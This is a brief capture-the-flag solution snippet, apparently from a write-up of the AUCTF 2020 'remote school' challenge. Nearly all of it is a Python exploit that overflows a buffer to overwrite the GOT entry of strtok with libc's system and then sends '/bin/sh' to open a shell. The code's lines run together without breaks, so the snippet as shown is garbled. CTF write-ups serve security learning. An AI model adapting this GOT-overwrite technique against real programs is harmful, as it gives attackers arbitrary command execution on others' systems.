Got overwrite attack: `strtok('/bin/sh')` -> `system('/bin/sh')`
```pythonlibcbase = 0xf7e19000system = libcbase+0x0003ad80strtok_got = 0x5655904c
offset = 2048payload = 'A'*offsetpayload += p32(system)payload += p32(strtok_got)
sla('\tName: ','TaQini')sla('> [? for menu]: ','attend Hacker')# debug('b *0x56556591')sla('Welcome!\n',payload)
# strtok(cmd) -> system(cmd)sla('> [? for menu]: ','/bin/sh')```
[Details](http://note.taqini.space/#/ctf/AUCTF-2020/?id=remote-school)